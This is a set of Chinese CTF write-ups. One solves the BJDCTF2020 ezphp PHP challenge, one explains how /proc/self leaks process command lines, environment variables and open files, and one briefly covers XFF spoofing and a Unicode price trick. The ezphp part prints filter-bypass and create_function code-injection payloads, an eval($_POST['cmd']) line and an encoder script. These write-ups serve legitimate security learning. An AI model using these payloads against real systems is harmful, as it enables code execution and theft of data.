BJDCTF2020_ezphp

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
highlight_file(__FILE__);
error_reporting(0);

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>

代码审计

1.$_SERVER[‘QUERY_STRING’]获取作为url查询参数的数据,也就是?后面的一串,不对键值对解码,因此可以用url编码绕过

2.preg_match绕过,需要传入变量$debu的值为aqua_is_cute,使用%0a截断preg_matc()的匹配,并且将关键字进行URL编码:?%64ebu=%61qua_is_%63ute%0a

3.$_REQUEST绕过,同时接收GETPOST的传参,但POST拥有更高的优先级,所以只需要POST相同的参数即可绕过

1
*// GET* ?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a *// POST* debu=1

$_REQUEST的值与php.ini中的配置相关,当$_GET$_POST中的键相同时,$_POST的值将覆盖$_GET的值。

4.file_get_contents()内容比较

传入的变量$file的值需要等于debu_debu_aqua

1
2
3
4
//GET
?%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61
//POST
debu=1&file=1

5.sha1()绕过

sha1()无法加密数组,直接使用数组绕过

6.create_function代码注入

1
2
3
4
5
6
7
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>

其中变量$code和变量$arg可控,可以使用create_function()代码注入。

$myfunc = create_function(‘$a, $b’, ‘return $a+$b;’);

相当于:

1
2
3
function myfunc($a, $b){
return $a+$b;
}

若$b对传入的值没有限制,则可以使用$code=return $a+$b;}eval($_POST[‘cmd’]);//该payload构造命令执行,也就是:

1
2
3
4
function myfunc($a, $b){
return $a+$b;
}
eval($_POST['cmd']);//}

在上一阶段的extract($_GET[“flag”]);处进行变量覆盖,从而使变量$code和变量$arg可控
首先闭合原有的语句:

1
flag[arg]=}

在黑名单匹配后,include “flag.php”;
很多函数被禁用,先使用get_defined_vars()将所有变量与值都进行输出,构造payload:

1
2
3
4
5
6
7
flag[arg]=}var_dump(get_defined_vars());//&flag[code]=create_function

// 等价于
function{
}
var_dump(get_defined_vars());//}

在所有末尾得到提示,flag被隐藏在rea1fl4g.php页面中
利用require(),来代替include()

1
require(php://filter/read=convert.base64- encode/resource=rea1fl4g.php);//

为限制了太多符号,所以尝试使用base64编码方式绕过.等符号的过滤:

得到了假的flag,查阅资料,使用~取反绕过,脚本:

1
2
3
4
5
6
7
8
9
10
<?
//Author: 颖奇L'Amore
//Blog: www.gem-love.com
$a = "p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = r e a 1 f l 4 g . p h p ";
$arr1 = explode(' ', $a);
echo "~(";
foreach ($arr1 as $key => $value) {
echo "%".bin2hex(~$value);
}
echo ")";

构造最终payload:

1
2
3
4
5
6
7
// GET
?debu=aqua_is_cute%0a&file=data://text/plain,debu_debu_aqua&shana[]=1&passwd[]=2&flag[arg]=};require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php);var_dump(get_defined_vars());//&flag[code]=create_function

?%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=;}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));//&%66%6c%61%67[%63%6f%64%65]=create_function

// POST
debu=1&file=1

最后得到base64编码后的源码,解码后得到flag

参考: https://blog.csdn.net/weixin_44037296/article/details/111186863

Linux的/proc/self/学习 ++ CTF例题

我们都知道可以通过/proc/$pid/来获取指定进程的信息,例如内存映射、CPU绑定信息等等。如果某个进程想要获取本进程的系统信息,就可以通过进程的pid来访问/proc/$pid/目录。但是这个方法还需要获取进程pid,在fork、daemon等情况下pid还可能发生变化。为了更方便的获取本进程的信息,linux提供了/proc/self/目录,这个目录比较独特,不同的进程访问该目录时获得的信息是不同的,内容等价于/proc/本进程pid/。进程可以通过访问/proc/self/目录来获取自己的系统信息,而不用每次都获取pid。

/proc目录
Linux 内核提供了一种通过 /proc 文件系统,在运行时访问内核内部数据结构、改变内核设置的机制。proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。

还有的是一些以数字命名的目录,他们是进程目录。系统中当前运行的每一个进程都有对应的一个目录在/proc下,以进程的PID号为目录名,他们是读取进程信息的接口。而self目录则是读取进程本身的信息接口,是一个link

image-20240117164148527

右边的蓝色字就是进程号PID

下面我们简单介绍一下 /proc 目录中的常见文件夹与文件。

上面列出的是 /proc 目录中一些进程相关的目录,每个目录中是其进程本身相关信息的文件。下面是系统上运行的一个PID为1035 的进程的相关文件,其中有些文件是每个进程都会具有的:

image-20240117164230301

1.cmdline
cmdline 文件存储着启动当前进程的完整命令,但僵尸进程目录中的此文件不包含任何信息。可以通过查看cmdline目录获取启动指定进程的完整命令:

cat /proc/1035/cmdline
image-20240117164321854

可知PID为1035的进程的启动命令为 /usr/sbin/cups-browsed。。。我也不知道我知道这个之后有什么用处啊啊。。。

2.wd
cwd 文件是一个指向当前进程运行目录的符号链接。可以通过查看cwd文件获取目标指定进程环境的运行目录

ls -al /proc/1090/cwd
image-20240117164335335

可见PID为1090的进程的运行目录为/var/lib/postgresql/9.5/main,
然后我们可以直接使用ls目录查看该进行运行目录下的文件:

ls /proc/1090/cwd
image-20240117164350925

如上图所示,与直接查看/var/lib/postgresql/9.5/main目录的效果是一样的。

3.exe
exe 是一个指向启动当前进程的可执行文件(完整路径)的符号链接。通过exe文件我们可以获得指定进程的可执行文件的完整路径

ls -al /proc/1090/exe
image-20240117164410841

4.environ
environ文件存储着当前进程的环境变量列表,彼此间用空字符(NULL)隔开,变量用大写字母表示,其值用小写字母表示。可以通过查看environ目录来获取指定进程的环境变量信息:

cat /proc/2889/environ

image-20240117164420798

5.fd ,比较重要~~
fd是一个目录,里面包含着当前进程打开的每一个文件的描述符(file descriptor)差不多就是路径啦,这些文件描述符是指向实际文件的一个符号连接,即每个通过这个进程打开的文件都会显示在这里。所以我们可以通过fd目录的文件获取进程,从而打开每个文件的路径以及文件内容。

ls -al /proc/1070/fd
image-20240117164444871

查看指定进程打开的某个文件的内容。那个数字就是那个数字嘛,,

ls -al /proc/1070/fd/4
image-20240117164458051

这个fd比较重要,因为在Linux系统中,如果一个程序用 open() 打开了一个文件,但是最终没有关闭它,即使从外部(如:os.remove(SECRET_FILE))删除这个文件之后,在/proc这个进程的 pid目录下的fd文件描述符 目录下 还是会有这个文件的文件描述符,通过这个文件描述符我们即可以得到被删除的文件的内容

6.self
上面的这些操作列出的都是目标环境指定进程的信息,但是我们在做题的时候往往需要的当前进程的信息,这时候就用到了/proc 目录中的self子目录了。

/proc/self表示当前进程目录。前面说了通过/proc/$pid/来获取指定进程的信息。如果某个进程想要获取当前进程的系统信息,就可以通过进程的pid来访问/proc/$pid/目录。但是这个方法还需要获取进程pid。

在fork、daemon等情况下pid还可能发生变化。

为了更方便的获取本进程的信息,Linux提供了/proc/self/目录,这个目录比较独特,不同的进程访问该目录时获得的信息时不同的,内容等价于/proc/本进程pid/。进程可以通过访问/proc/self/目录来获取自己的系统信息,而不用每次都获取pid。

有了self目录就方便多了,下面演示一下self的常见使用。

1.获取当前启动进程的完成命令:
cat /proc/self/cmdline
image-20240117164514608

2.获取目标当前进程的运行目录与目录里的文件:
ls -al /proc/self/cwd
ls /proc/self/cwd
image-20240117164525562

这样就和我直接在当前情况下ls一样了啊

当不知道目标网站的Web路径或者 当前路径时,经常用这招。

3.获得当前进程的可执行文件的完整路径:
ls -al /proc/self/exe
image-20240117164535370

4.获取当前环境变量
/proc/self/environ
image-20240117164543487

5.获取当前进程打开的文件内容
cat /proc/self/fd/{id}

注意:在真正做题的时候,我们是不能通过命令的方式执行通过cat命令读取cmdline的。因为如果 cat读取/proc/self/cmdline/的话,得到的是 cat进程的信息。所以我们要通过题目的当前进程使用读取文件(比如,文件包含漏洞,,SSTI,,file:\\本地读取,,../../../目录穿越,,SSRF)的方式读取/proc/self/cmdline

转自:—–已搬运——-Linux的/proc/self/学习 ++ CTF例题_/proc/self/文件包含ctf-CSDN博客

buuctf-pywebsite&unicorn_shop

image-20230921102423009

看源码,前端检测,直接进入flag.php

image-20230921102923166

提示伪造ip,用xff绕过

image-20230921103129998

unicorn_shop

image-20230921104510487

image-20230921104522981

输入前三个的Item ID会提示Wrong commodity!,如果Price输入超过一个字符会提示Only one char(?) allowed!。那这道题就是要尝试用一个字符来表示超过1377的数
知识点:Unicode(统一码)它为每种语言中的每个字符设定了统一并且唯一的二进制编码,让每个国家的字符,例如数字,都能在计算机语言中表达其原来的意思,这就是我们能利用的点
https://www.compart.com/en/unicode/在这个网站可以查找各种Unicode,输入url编码后得到flag

image-20230921104957510image-20230921105015274

image-20230921105033061